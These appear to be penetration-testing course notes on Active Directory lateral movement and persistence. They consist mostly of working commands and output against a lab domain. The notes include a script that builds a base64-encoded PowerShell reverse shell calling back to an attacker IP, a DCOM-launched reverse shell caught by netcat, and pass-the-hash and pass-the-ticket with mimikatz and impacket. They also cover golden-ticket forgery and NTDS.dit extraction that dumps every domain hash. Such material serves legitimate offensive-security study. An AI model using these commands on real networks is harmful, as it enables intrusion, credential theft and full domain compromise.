Module 23: Lateral Movement in Active Directory
Active Directory Lateral Movement Techniques
WMI and WinRM
WMI communicates through Remote Procedure Calls (RPC) over port 135 for remote access and a port between 19152 and 65535 for session data.
Using wmic to launch a remote process:
C:\Users\jeff>wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 752;
ReturnValue = 0;
};
Using PowerShell requires a few more steps:
// Creating teh PSCredential object
PS C:\Users\jeff> $username = 'jen';
PS C:\Users\jeff> $password = 'Nexus123!';
PS C:\Users\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\Users\jeff> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
// Creating a Common Information Model (CIM) via the New-CimSession cmdlet.
PS C:\Users\jeff> $options = New-CimSessionOption -Protocol DCOM
PS C:\Users\jeff> $session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $options
PS C:\Users\jeff> $command = 'calc';
// Invoking the CIM Method.
PS C:\Users\jeff> Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
ProcessId ReturnValue PSComputerName
--------- ----------- --------------
3712 0 192.168.50.73
Using python to encode a PowerShell reverse shell, so we don't need to escape any special characters when inserting it as a WMI payload:
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
WinRM communicates over TCP port 5986 for encrypted HTTPS traffic and 5985 for plain HTTP.
Utilizing WinRM via winrs to execute remote commands:
C:\Users\jeff> winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
FILES04
corp\jen
Utilizing WinRM via New-PSSession to execute remote commands:
PS C:\Users\jeff> $username = 'jen';
PS C:\Users\jeff> $password = 'Nexus123!';
PS C:\Users\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\Users\jeff> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
PS C:\Users\jeff> New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Id Name ComputerName ComputerType State ConfigurationName Availability
-- ---- ------------ ------------ ----- ----------------- ------------
1 WinRM1 192.168.50.73 RemoteMachine Opened Microsoft.PowerShell Available
PS C:\Users\jeff> Enter-PSSession 1
[192.168.50.73]: PS C:\Users\jen\Documents> whoami
corp\jen
[192.168.50.73]: PS C:\Users\jen\Documents> hostname
FILES04
PsExec
PSExec needs three things to be used for lateral movement:
The user that authenticates to the target machine needs to be part of the Administrators local group
The ADMIN$ share must be available
File and Printer Sharing must be turned on
By default, those last two requirements are met on modern Windows Server systems.
Using psexec to start an interactive cmd prompt on a remote device:
PS C:\Tools\SysinternalsSuite> ./PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd
PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> hostname
FILES04
C:\Windows\system32> whoami
corp\jen
Pass the Hash
Pass the Hash (PtH) allows us to authenticate to a remote system or service using a user's NTLM hash instead of their plaintext password. This will only work for servers or services using NTLM authentication. Not fo rservers/services using Kerberos authentication.
PtH also has three requirements:
SMB through the firewall must be open (commonly port 445)
Windows File and Printer Sharing must be enabled
The ADMIN$ must also be available.
Using wmiexec to pass the hash:
kali@kali:~$ /usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>hostname
FILES04
C:\>whoami
files04\administrator
Overpass the Hash
With Overpass the Hash we can "over" abuse an HTLM user hash to gain a full Kerberos Ticket Granting Ticket (TGT). This can then be used to obtain a Ticket Granting Service (TGS).
Grabbing the NTLM hash:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session : Interactive from 0
User Name : jen
Domain : CORP
Logon Server : DC1
Logon Time : 2/27/2023 7:43:20 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1124
msv :
[00000003] Primary
* Username : jen
* Domain : CORP
* NTLM : 369def79d8372408bf6e93364cc93075
* SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4
* DPAPI : ed6686fedb60840cd49b5286a7c08fa4
tspkg :
wdigest :
* Username : jen
* Domain : CORP
* Password : (null)
kerberos :
* Username : jen
* Domain : CORP.COM
* Password : (null)
ssp :
credman :
...
Overassing this hash to spawn a new powershell session:
mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
Listing cached Kerberos tickets:
PS C:\Windows\system32> klist
Current LogonId is 0:0x1583ae
Cached Tickets: (0)
Generating a TGT by authenticating to a network share:
PS C:\Windows\system32> net use \\files04
The command completed successfully.
PS C:\Windows\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
Server: krbtgt/CORP.COM @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC1.corp.com
#1> Client: jen @ CORP.COM
Server: cifs/files04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: DC1.corp.com
Using psexec to launch a remote cmd on our target:
PS C:\Windows\system32> cd C:\tools\SysinternalsSuite\
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\files04 cmd
PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
corp\jen
C:\Windows\system32>hostname
FILES04
Pass the Ticket
Exporting all the TGT/TGS from memory via mimikatz:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 2037286 (00000000:001f1626)
Session : Batch from 0
User Name : dave
Domain : CORP
Logon Server : DC1
Logon Time : 9/14/2022 6:24:17 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1103
* Username : dave
* Domain : CORP.COM
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM
Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
Target Name (02) : krbtgt ; CORP ; @ CORP.COM
Client Name (01) : dave ; @ CORP.COM ( CORP )
Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6
Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
* Saved to file [0;1f1626]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi !
...
Viewing all the exported tickets:
PS C:\Tools> dir *.kirbi
Directory: C:\Tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2022 6:24 AM 1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;12bd0]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c6860]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c6860]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c933d]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c933d]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1ca6c2]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
...
Injecting the tickets:
mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
* File: '[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi': OK
PS C:\Tools> klist
Current LogonId is 0:0x13bca7
Cached Tickets: (1)
#0> Client: dave @ CORP.COM
Server: cifs/web04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
Start Time: 9/14/2022 5:31:32 (local)
End Time: 9/14/2022 15:31:13 (local)
Renew Time: 9/21/2022 5:31:13 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
DCOM
Instantiating a remote MMC 2.0 application via an Administrative PowerShell prompt:
PS C:\Users\Administrator> $dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))
PS C:\Users\Administrator> $dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
Example using the above to spawn a reverse shell:
kali@kali:~$ nc -nvlp 1337
listening on [any] 1337 ...
PS C:\Users\Administrator> $dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.189.72"))
PS C:\Users\Administrator> $dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEANQA0ACIALAAxADMAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==","7")
kali@kali:~$ nc -nvlp 1337
listening on [any] 1337 ...
connect to [192.168.45.154] from (UNKNOWN) [192.168.189.72] 49728
whoami
corp\jen
Active Directory Persistence
Golden Ticket
If we can get our hands on krbtgt's password hash, we can create our own self-made custom TGTs, AKA golden tickets.
Assuming we have the SID and hash for krbtgt's password, it's time to generate a golden ticket:
: Starting with deleting any existing Kerberos tickets
mimikatz # kerberos::purge
Ticket(s) purge for current session is OK
: Now let's generate our golden ticket
mimikatz # kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
User : jen
Domain : corp.com (CORP)
SID : S-1-5-21-1987370270-658905905-1781884369
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 1693c6cefafffc7af11ef34d1c788f47 - rc4_hmac_nt
Lifetime : 9/16/2022 2:15:57 AM ; 9/13/2032 2:15:57 AM ; 9/13/2032 2:15:57 AM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'jen @ corp.com' successfully submitted for current session
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF665F1B800
Using our ticket to connect to the DC:
C:\Tools\SysinternalsSuite>PsExec.exe \\dc1 cmd.exe
PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Windows\system32>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::5cd4:aacd:705a:3289%14
IPv4 Address. . . . . . . . . . . : 192.168.50.70
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.50.254
C:\Windows\system32>whoami
corp\jen
If we were to connect PsExec to the IP address of the domain controller instead of the hostname, we would instead force the use of NTLM authentication and access would still be blocked.
Shadow Copies
As a domain admin, we can abuse the vshadow utility to create a Shadow Copy that will allow us to extract the Active Directory Database NTDS.dit database file. Once a coyp is obtained, we need teh SYSTEM hive, then we can extract every user credential offline in our local Kali machine.
Creating that snapshot with writers disabled:
C:\Tools>vshadow.exe -nw -p C:
VSHADOW.EXE 3.0 - Volume Shadow Copy sample client.
Copyright (C) 2005 Microsoft Corporation. All rights reserved.
(Option: No-writers option detected)
(Option: Create shadow copy set)
- Setting the VSS context to: 0x00000010
Creating shadow set {f7f6d8dd-a555-477b-8be6-c9bd2eafb0c5} ...
- Adding volume \\?\Volume{bac86217-0fb1-4a10-8520-482676e08191}\ [C:\] to the shadow set...
Creating the shadow (DoSnapshotSet) ...
(Waiting for the asynchronous operation to finish...)
Shadow copy set succesfully created.
List of created shadow copies:
Querying all shadow copies with the SnapshotSetID {f7f6d8dd-a555-477b-8be6-c9bd2eafb0c5} ...
* SNAPSHOT ID = {c37217ab-e1c4-4245-9dfe-c81078180ae5} ...
- Shadow copy Set: {f7f6d8dd-a555-477b-8be6-c9bd2eafb0c5}
- Original count of shadow copies = 1
- Original Volume name: \\?\Volume{bac86217-0fb1-4a10-8520-482676e08191}\ [C:\]
- Creation Time: 9/19/2022 4:31:51 AM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
- Originating machine: DC1.corp.com
- Service machine: DC1.corp.com
- Not Exposed
- Provider id: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: Auto_Release No_Writers Differential
Snapshot creation done.
Copying the whole AD Database:
C:\Tools>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
1 file(s) copied.
Saving the SYSTEM hive:
C:\>reg.exe save hklm\system c:\system.bak
The operation completed successfully.
Using impacket-secretsdump to extract the credentials:
kali@kali:~$ impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0xbbe6040ef887565e9adb216561dc0620
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 98d2b28135d3e0d113c4fa9d965ac533
[*] Reading and decrypting hashes from ntds.dit.bak
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC1$:1000:aad3b435b51404eeaad3b435b51404ee:eda4af1186051537c77fa4f53ce2fe1a:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1693c6cefafffc7af11ef34d1c788f47:::
dave:1103:aad3b435b51404eeaad3b435b51404ee:08d7a47a6f9f66b97b1bae4178747494:::
stephanie:1104:aad3b435b51404eeaad3b435b51404ee:d2b35e8ac9d8f4ad5200acc4e0fd44fa:::
jeff:1105:aad3b435b51404eeaad3b435b51404ee:2688c6d2af5e9c7ddb268899123744ea:::
jeffadmin:1106:aad3b435b51404eeaad3b435b51404ee:e460605a9dbd55097c6cf77af2f89a03:::
iis_service:1109:aad3b435b51404eeaad3b435b51404ee:4d28cf5252d39971419580a51484ca09:::
WEB04$:1112:aad3b435b51404eeaad3b435b51404ee:87db4a6147afa7bdb46d1ab2478ffe9e:::
FILES04$:1118:aad3b435b51404eeaad3b435b51404ee:d75ffc4baaeb9ed40f7aa12d1f57f6f4:::
CLIENT74$:1121:aad3b435b51404eeaad3b435b51404ee:5eca857673356d26a98e2466a0fb1c65:::
CLIENT75$:1122:aad3b435b51404eeaad3b435b51404ee:b57715dcb5b529f212a9a4effd03aaf6:::
pete:1123:aad3b435b51404eeaad3b435b51404ee:369def79d8372408bf6e93364cc93075:::
jen:1124:aad3b435b51404eeaad3b435b51404ee:369def79d8372408bf6e93364cc93075:::
CLIENT76$:1129:aad3b435b51404eeaad3b435b51404ee:6f93b1d8bbbe2da617be00961f90349e:::
[*] Kerberos keys from ntds.dit.bak
Administrator:aes256-cts-hmac-sha1-96:56136fd5bbd512b3670c581ff98144a553888909a7bf8f0fd4c424b0d42b0cdc
Administrator:aes128-cts-hmac-sha1-96:3d58eb136242c11643baf4ec85970250
Administrator:des-cbc-md5:fd79dc380ee989a4
DC1$:aes256-cts-hmac-sha1-96:fb2255e5983e493caaba2e5693c67ceec600681392e289594b121dab919cef2c
DC1$:aes128-cts-hmac-sha1-96:68cf0d124b65310dd65c100a12ecf871
DC1$:des-cbc-md5:f7f804ce43264a43
krbtgt:aes256-cts-hmac-sha1-96:e1cced9c6ef723837ff55e373d971633afb8af8871059f3451ce4bccfcca3d4c
krbtgt:aes128-cts-hmac-sha1-96:8c5cf3a1c6998fa43955fa096c336a69
krbtgt:des-cbc-md5:683bdcba9e7c5de9
...
[*] Cleaning up...
Last updated